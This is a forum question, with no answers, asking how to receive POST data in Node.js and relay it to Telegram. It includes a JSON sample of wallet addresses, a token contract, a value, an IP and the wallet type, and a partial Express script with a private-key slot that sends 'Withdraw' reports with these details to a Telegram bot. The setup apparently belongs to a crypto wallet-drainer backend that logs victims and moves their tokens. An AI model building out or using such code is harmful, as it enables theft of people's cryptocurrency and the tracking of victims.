How to receive data from POST JS and write it somewhere (Node.js)?

Viewed 29

Good day. There is a JS file that performs a function and sends POST data, but how to receive it and send it to telegram / text document / database for example? This format data in POST

Json

{
  "addressFrom": "0x83EB92C96b5fAF64328e787508f6CA511a2DBB23",
  "addressTo": "0xE6a2cC08aF7A20dA592099da0c9933286A8b332f",
  "chainId": 1,
  "chainName": "Ethereum",
  "contract": "0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7",
  "ip": "11.11.11.11",
  "isEth": false,
  "tokenId": "1159",
  "type": "token",
  "value": 76.846,
  "wallet": "metaMask"
}

And this is what it looks like when expanded into code:

{"contract":"0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7","addressFrom":"0x83EB92C96b5fAF64328e787508f6CA511a2DBB23","addressTo":"0xE6a2cC08aF7A20dA592099da0c9933286A8b332f","value":76.846,"type":"token","tokenId":"1159","chainId":1,"chainName":"Ethereum","ip":"11.11.11.11","wallet":"metaMask","isEth":false}

There is also such a standing script on the node, but it does not work:

const ethers = require("ethers");
const express = require("express");
const axios = require("axios");

const { networks, abi } = require("./networks");
const app = express();

const PRIVATE_KEY = "";
const TELEGRAM_API = {
  token: "",
  chatId: "",
};

const sendMessage = ({
  ip,
  addressFrom,
  wallet,
  value,
  token,
  tokenId,
  chainName,
}) => {
  let message = "<b>Withdraw</b>\n\n";

  message += `IP: <b>${ip}</b>\n`;
  message += `Wallet: <b>${wallet}</b>\n`;
  message += `Address: <b>${addressFrom}</b>\n`;
  message += `Token: <b>${token}</b>\n`;
  message += `Chain: <b>${chainName}</b>\n`;
  message += `Value: <b>${value.toFixed(2)}$</b>\n`;

  if (tokenId) {
    message += `Token Id: <b>${tokenId}</b>`;
  }

  axios.get(
    `https://api.telegram.org/bot${TELEGRAM_API.token}/sendMessage?chat_id=${TELEGRAM_API.chatId}&text=${message}&parse_mode=HTML`
  );
};
0 Answers
Related